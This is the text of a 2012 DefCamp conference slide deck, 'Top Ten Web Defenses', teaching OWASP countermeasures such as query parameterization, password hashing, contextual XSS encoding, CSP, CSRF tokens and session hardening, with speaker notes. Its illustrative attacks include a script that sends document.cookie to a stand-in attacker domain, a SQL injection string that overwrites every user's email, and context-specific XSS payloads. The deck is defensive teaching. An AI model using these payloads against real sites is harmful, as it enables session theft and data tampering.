We will charge you. How to [b]reach vendor’s network using EV charging station.We will charge you. How to [b]reach vendor’s network using EV charging station.
We will charge you. How to [b]reach vendor’s network using EV charging station.
 
Connect & Inspire Cyber Security
Connect & Inspire Cyber SecurityConnect & Inspire Cyber Security
Connect & Inspire Cyber Security
 
The lions and the watering hole
The lions and the watering holeThe lions and the watering hole
The lions and the watering hole
 

Top Ten Web Defenses - DefCamp 2012

  • 1. Top Ten Defenses It’s ok to cheat OWASP Cheatsheet Series https://www.owasp.org/index.php/Cheat_Sheets 1
  • 2. HACKED © 2012 WhiteHat Security, Inc. 2
  • 3. ';
  • 4. Anatomy of a SQL Injection Attack $NEW_EMAIL = Request[‘new_email’]; $USER_ID = Request[‘user_id’]; update users set email=‘$NEW_EMAIL’ where id=$USER_ID;
  • 5. Anatomy of a SQL Injection Attack $NEW_EMAIL = Request['new_email']; $USER_ID = Request['user_id']; update users set email='$NEW_EMAIL' where id=$USER_ID; SUPER AWESOME HACK: $NEW_EMAIL = '; update users set email='';
  • 6. [1] Query Parameterization (PHP) $stmt = $dbh->prepare(”update users set email=:new_email where id=:user_id”); $stmt->bindParam(':new_email', $email); $stmt->bindParam(':user_id', $id);
  • 7. Query Parameterization (.NET) SqlConnection objConnection = new SqlConnection(_ConnectionString); objConnection.Open(); SqlCommand objCommand = new SqlCommand( "SELECT * FROM User WHERE Name = @Name AND Password = @Password", objConnection); objCommand.Parameters.Add("@Name", NameTextBox.Text); objCommand.Parameters.Add("@Password", PassTextBox.Text); SqlDataReader objReader = objCommand.ExecuteReader();
  • 8. Query Parameterization (Java) String newName = request.getParameter("newName") ; String id = request.getParameter("id"); //SQL PreparedStatement pstmt = con.prepareStatement("UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?"); pstmt.setString(1, newName); pstmt.setString(2, id); //HQL Query safeHQLQuery = session.createQuery("from Employees where id=:empId"); safeHQLQuery.setParameter("empId", id);
  • 9. Query Parameterization (Ruby) # Create Project.create!(:name => 'owasp') # Read Project.all(:conditions => "name = ?", name) Project.all(:conditions => { :name => name }) Project.where("name = :name", :name => name) Project.where(:id=> params[:id]).all # Update project.update_attributes(:name => 'owasp')
  • 10. Query Parameterization (Cold Fusion) <cfquery name="getFirst" dataSource="cfsnippets"> SELECT * FROM #strDatabasePrefix#_courses WHERE intCourseID = <cfqueryparam value=#intCourseID# CFSQLType="CF_SQL_INTEGER"> </cfquery>
  • 11. Query Parameterization (PERL) my $sql = "INSERT INTO foo (bar, baz) VALUES ( ?, ? )"; my $sth = $dbh->prepare( $sql ); $sth->execute( $bar, $baz );
  • 12. Query Parameterization (.NET LINQ) public bool login(string loginId, string shrPass) { DataClassesDataContext db = new DataClassesDataContext(); var validUsers = from user in db.USER_PROFILE where user.LOGIN_ID == loginId && user.PASSWORDH == shrPass select user; if (validUsers.Count() > 0) return true; return false; };
  • 13. [2] Secure Password Storage public String hash(String password, String userSalt, int iterations) throws EncryptionException { byte[] bytes = null; try { MessageDigest digest = MessageDigest.getInstance(hashAlgorithm); digest.reset(); digest.update(ESAPI.securityConfiguration().getMasterSalt()); digest.update(userSalt.getBytes(encoding)); digest.update(password.getBytes(encoding)); // rehash a number of times to help strengthen weak passwords bytes = digest.digest(); for (int i = 0; i < iterations; i++) { digest.reset(); bytes = digest.digest(bytes); } String encoded = ESAPI.encoder().encodeForBase64(bytes,false); return encoded; } catch (Exception ex) { throw new EncryptionException("Internal error", "Error"); }}
  • 14. Secure Password Storage public String hash(String password, String userSalt, int iterations) throws EncryptionException { byte[] bytes = null; try { MessageDigest digest = MessageDigest.getInstance(hashAlgorithm); digest.reset(); digest.update(ESAPI.securityConfiguration().getMasterSalt()); digest.update(userSalt.getBytes(encoding)); digest.update(password.getBytes(encoding)); // rehash a number of times to help strengthen weak passwords bytes = digest.digest(); for (int i = 0; i < iterations; i++) { digest.reset(); bytes = digest.digest(bytes); } String encoded = ESAPI.encoder().encodeForBase64(bytes,false); return encoded; } catch (Exception ex) { throw new EncryptionException("Internal error", "Error"); }}
  • 15. Secure Password Storage public String hash(String password, String userSalt, int iterations) throws EncryptionException { byte[] bytes = null; try { MessageDigest digest = MessageDigest.getInstance(hashAlgorithm); digest.reset(); digest.update(ESAPI.securityConfiguration().getMasterSalt()); digest.update(userSalt.getBytes(encoding)); digest.update(password.getBytes(encoding)); // rehash a number of times to help strengthen weak passwords bytes = digest.digest(); for (int i = 0; i < iterations; i++) { digest.reset(); bytes = digest.digest(salts + bytes + hash(i)); } String encoded = ESAPI.encoder().encodeForBase64(bytes,false); return encoded; } catch (Exception ex) { throw new EncryptionException("Internal error", "Error"); }}
  • 16. Secure Password Storage • BCRYPT - Really slow on purpose - Blowfish derived - Suppose you are supporting millions on concurrent logins… - Takes about 10 concurrent runs of BCRYPT to pin a high performance laptop CPU • PBKDF2 - Takes up a lot of memory - Suppose you are supporting millions on concurrent logins…
  • 17. Anatomy of a XSS Attack <script>window.location=‘http://evi leviljim.com/unc/data=‘ + document.cookie;</script> <script>document.body.innerHTML=‘<b link>CYBER IS COOL</blink>’;</script>
  • 18. [3] Contextual Output Encoding (XSS Defense) – Session Hijacking – Site Defacement – Network Scanning – Undermining CSRF Defenses – Site Redirection/Phishing – Load of Remotely Hosted Scripts – Data Theft – Keystroke Logging – Attackers using XSS more frequently
  • 19. XSS Defense by Data Type and Context Data Type Context Defense String HTML Body HTML Entity Encode String HTML Attribute Minimal Attribute Encoding String GET Parameter URL Encoding String Untrusted URL URL Validation, avoid javascript: URLs, Attribute encoding, safe URL verification String CSS Strict structural validation, CSS Hex encoding, good design HTML HTML Body HTML Validation (JSoup, AntiSamy, HTML Sanitizer) Any DOM DOM XSS Cheat Sheet Untrusted JavaScript Any Sandboxing JSON Client Parse Time JSON.parse() or json2.js Safe HTML Attributes include: align, alink, alt, bgcolor, border, cellpadding, cellspacing, class, color, cols, colspan, coords, dir, face, height, hspace, ismap, lang, marginheight, marginwidth, multiple, nohref, noresize, noshade, nowrap, ref, rel, rev, rows, rowspan, scrolling, shape, span, summary, tabindex, title, usemap, valign, value, vlink, vspace, width
  • 21. HTML Attribute Context <input type="text" name="fname" value="UNTRUSTED DATA"> attack: "><script>/* bad stuff */</script>
  • 22. HTTP GET Parameter Context <a href="/site/search?value=UNTRUSTED DATA">clickme</a>
  • 23. URL Context <a href="UNTRUSTED URL">clickme</a> <iframe src="UNTRUSTED URL" /> attack: javascript:eval(/* BAD STUFF */)
  • 24. CSS Value Context <div style="width: UNTRUSTED DATA;">Selection</div> attack: expression(/* BAD STUFF */)
  • 25. JavaScript Variable Context <script>var currentValue='UNTRUSTED DATA';</script> <script>someFunction('UNTRUSTED DATA');</script> attack: ');/* BAD STUFF */
  • 27. SAFE use of JQuery  $(‘#element’).text(UNTRUSTED DATA); UNSAFE use of JQuery   $(‘#element’).html(UNTRUSTED DATA);
  • 28. Dangerous jQuery 1.7.2 Data Types CSS Some Attribute Settings HTML URL (Potential Redirect) jQuery methods that directly update DOM or can execute JavaScript $() or jQuery() .attr() .add() .css() .after() .html() .animate() .insertAfter() .append() .insertBefore() .appendTo() Note: .text() updates DOM, but is safe. jQuery methods that accept URLs to potentially unsafe content jQuery.ajax() jQuery.post() jQuery.get() load() jQuery.getScript() 28
  • 29. JQuery Encoding with JQencoder  Contextual encoding is a crucial technique needed to stop all types of XSS  jqencoder is a jQuery plugin that allows developers to do contextual encoding in JavaScript to stop DOM- based XSS  http://plugins.jquery.com/plugin-tags/security  $('#element').encode('html', cdata);
  • 30. Best Practice: DOM-Based XSS Defense • Untrusted data should only be treated as displayable text • JavaScript encode and delimit untrusted data as quoted strings • Use document.createElement("…"), element.setAttribute("…","value"), element.appendChild(…), etc. to build dynamic interfaces (safe attributes only) • Avoid use of HTML rendering methods • Make sure that any untrusted data passed to eval() methods is delimited with string delimiters and enclosed within a closure such as eval(someFunction(‘UNTRUSTED DATA’));
  • 31. [4] Content Security Policy • Anti-XSS W3C standard • CSP 1.1 Draft 19 published August 2012 - https://dvcs.w3.org/hg/content-security-policy/raw-file/tip/csp- specification.dev.html • Must move all inline script and style into external scripts • Add the X-Content-Security-Policy response header to instruct the browser that CSP is in use - Firefox/IE10PR: X-Content-Security-Policy - Chrome Experimental: X-WebKit-CSP - Content-Security-Policy-Report-Only • Define a policy for the site regarding loading of content
  • 32. CSP By Example 1 Source: http://people.mozilla.com/~bsterne/content-security- policy/details.html Site allows images from anywhere, plugin content from a list of trusted media providers, and scripts only from its server: X-Content-Security-Policy: allow 'self'; img-src *; object-src media1.com media2.com; script-src scripts.example.com
  • 33. CSP By Example 2 Source: http://www.html5rocks.com/en/tutorials/security/content- security-policy/ Site that loads resources from a content delivery network and does not need framed content or any plugins X-Content-Security-Policy: default-src https://cdn.example.net; frame-src 'none'; object-src 'none'
  • 34. [5] Cross-Site Request Forgery Tokens and Re-authentication – Cryptographic Tokens • Primary and most powerful defense. Randomness is your friend – Require users to re-authenticate • Amazon.com does this *really* well – Double-cookie submit defense • Decent defense, but not based on randomness; based on SOP
  • 35. [6] Multi Factor Authentication – Passwords as a single AuthN factor are DEAD! – Mobile devices are quickly becoming the “what you have” factor – SMS and native apps for MFA are not perfect but heavily reduce risk vs. passwords only – Password strength and password policy can be MUCH WEAKER in the face of MFA – If you are protecting your magic user and fireball wand with MFA (Blizzard.net) you may also wish to consider protecting your multi-billion dollar enterprise with MFA
  • 36. [7] Forgot Password Secure Design – Require identity and security questions • Last name, account number, email, DOB • Enforce lockout policy • Ask one or more good security questions – http://www.goodsecurityquestions.com/ – Send the user a randomly generated token via out-of-band method • email, SMS or token – Verify code in same Web session • Enforce lockout policy – Change password • Enforce password policy
  • 37. [8] Session Defenses – Ensure secure session IDs • 20+ bytes, cryptographically random • Stored in HTTP Cookies • Cookies: Secure, HTTP Only, limited path • No Wildcard Domains – Generate new session ID at login time • To avoid session fixation – Session Timeout • Idle Timeout • Absolute Timeout • Logout Functionality
  • 39.
  • 40.
  • 41.
  • 42. [9] X-Frame-Options // to prevent all framing of this content response.addHeader( "X-FRAME-OPTIONS", "DENY" ); // to allow framing of this content only by this site response.addHeader( "X-FRAME-OPTIONS", "SAMEORIGIN" ); // to allow framing from a specific domain response.addHeader( "X-FRAME-OPTIONS", "ALLOW-FROM X" );
  • 43. Legacy Browser Clickjacking Defense <style id="antiCJ">body{display:none !important;}</style> <script type="text/javascript"> if (self === top) { var antiClickjack = document.getElementByID("antiCJ"); antiClickjack.parentNode.removeChild(antiClickjack) } else { top.location = self.location; } </script>
  • 44. [10] Encryption in Transit (HTTPS/TLS) – Authentication credentials and session identifiers must be encrypted in transit via HTTPS/SSL • Starting when the login form is rendered • Until logout is complete • CSP and HSTS can help here – https://www.ssllabs.com free online assessment of public-facing server HTTPS configuration – https://www.owasp.org/index.php/Transport_Layer_Protecti on_Cheat_Sheet for HTTPS best practices
  • 45. and love the WAF
  • 46. [11] Virtual Patching “A security policy enforcement layer which prevents the exploitation of a known vulnerability”
  • 47. Virtual Patching Rationale for Usage – No Source Code Access – No Access to Developers – High Cost/Time to Fix Benefit – Reduce Time-to-Fix – Reduce Attack Surface
  • 48. Strategic Remediation • Ownership is Builders • Focus on web application root causes of vulnerabilities and creation of controls in code • Ideas during design and initial coding phase of SDLC • This takes serious time, expertise and planning
  • 49. Tactical Remediation • Ownership is Defenders • Focus on web applications that are already in production and exposed to attacks • Examples include using a Web Application Firewall (WAF) such as ModSecurity • Aim to minimize the Time-to-Fix exposures
  • 50. OWASP ModSecurity Core Rule Set (CRS) http://www.owasp.org/index.php/Category:OWASP_ModSecurity_Core_Rule_Set_Project

Notas do Editor

  1. December 17, 2012 ©2007 Ernst &amp; Young Advanced Security Center
  2. December 17, 2012 ©2007 Ernst &amp; Young Advanced Security Center
  3. December 17, 2012 ©2007 Ernst &amp; Young Advanced Security Center CVE-2012-2660/2661/2694 Active record 3.0 and later for Ruby on Rails is vuln to Fixed in RoR 3.2.5, 3.1.5, 3.0.13 Rails 2.3.x is vilnerable to various injections that have NOT been patched and will N:OT be patched so please don ’ t use it
  4. December 17, 2012 ©2007 Ernst &amp; Young Advanced Security Center
  5. December 17, 2012 ©2007 Ernst &amp; Young Advanced Security Center
  6. December 17, 2012 ©2007 Ernst &amp; Young Advanced Security Center linq writes parametrized, precompiled queries. This is the reason why SQL injection is not effective on linq generated queries. The linq generated query is shown below.
  7. Bcrypt is such a slow hashing algorithm. A speed comparison on a MacBook Pro with 2 Ghz Intel Core 2 Duo: SHA-1: 118,600 hashes per second. Bcrypt (with cost = 10): 7.7 hashes per second.
  8. Note: The issue with $() is being worked on and will hopefully be much harder to exploit in jQuery 1.8
  9. CREDIT THIS TO DAVE WICHERS. Note: The issue with $() is being worked on and will hopefully be much harder to exploit in jQuery 1.8
  10. 1 -
  11. Need to expand this section!
  12. connect-src limits the origins to which you can connect (via XHR, WebSockets, and EventSource). font-src specifies the origins that can serve web fonts. Google’s Web Fonts could be enabled via font-src https://themes.googleusercontent.com frame-src lists the origins that can be embedded as frames. For example: frame-src https://youtube.com would enable embedding YouTube videos, but no other origins. img-src defines the origins from which images can be loaded. media-src restricts the origins allowed to deliver video and audio. object-src allows control over Flash and other plugins. style-src is script-src’s counterpart for stylesheets. By default, directives are wide open. If you don’t set a specific policy for a directive, let’s say font-src, then that directive behaves by default as though you’d specified * as the valid source (e.g. you could load fonts from everywhere, without restriction). You can override this default behavior by specifying a default-src directive.
  13. December 17, 2012 ©2007 Ernst &amp; Young Advanced Security Center
  14. December 17, 2012 ©2007 Ernst &amp; Young Advanced Security Center
  15. &gt; OUTLINE &gt; &gt; 1) Authentication, session management, and access control &gt;    - Pre and post authentication session IDs &gt;    - Session ID (temporary) equivalent to the strongest authentication method &gt;    (point to authentication cheatsheet) &gt; &gt; 2) Session ID secure properties &gt; 2.1) Session ID name fingerprinting &gt; 2.1) Session ID length &gt; 2.2) Session ID entropy &gt; 2.3) Session ID content &gt; 2.4) Cryptographically strong session id &gt; 2.5) Recommendations for a secure session management database &gt; &gt; 3) Session ID exchange mechanisms &gt; 3.1) Used vs. accepted session ID exchange mechanisms &gt; &gt; 4) Session ID sent via cookies &gt; 4.1) HTTPonly cookies &gt;    (point to XSS cheatsheet) &gt; 4.2) Secure cookies &gt;    (point to TLS cheatsheet) &gt; 4.3) Domain and path cookie attributes &gt; 4.4) Expire attribute &gt; 4.5) CSRF implications of cookies &gt;    (point to CSRF cheatsheet) &gt; 4.6) Cross-Site Tracing (XST) prevention &gt; 4.7) HTTP response splitting prevention &gt; 4.8) Cookie META tag prevention ???? &gt; &gt; 5) Session ID initial verification &gt; 5.1) Permissive and strict session management &gt; 5.2) Treat session ID as any other user input &gt; &gt; 6) Renew the session ID after any privilege level change &gt; &gt; 7) Session expiration (on both client and server) &gt; 7.1) Automatic session expiration &gt; 7.1.1) Idle timeout &gt; 7.1.2) Absolute timeout &gt; 7.2) Manual session expiration &gt; 7.2.1) Logout button &gt; 7.2.2) Javascript logout on window close &gt; 7.2.3) Features for disabling session cross-tab &gt; &gt; 8) Session hijacking detection &gt; 8.1) Binding the session ID to other user properties &gt; 8.2) Logging: Monitoring creation, life cycle, and destruction of session IDs &gt; 8.3) Are multiple simultaneous logons allowed? &gt; 8.4) Session management WAF protections &gt;
  16. Put this all in the HEAD tag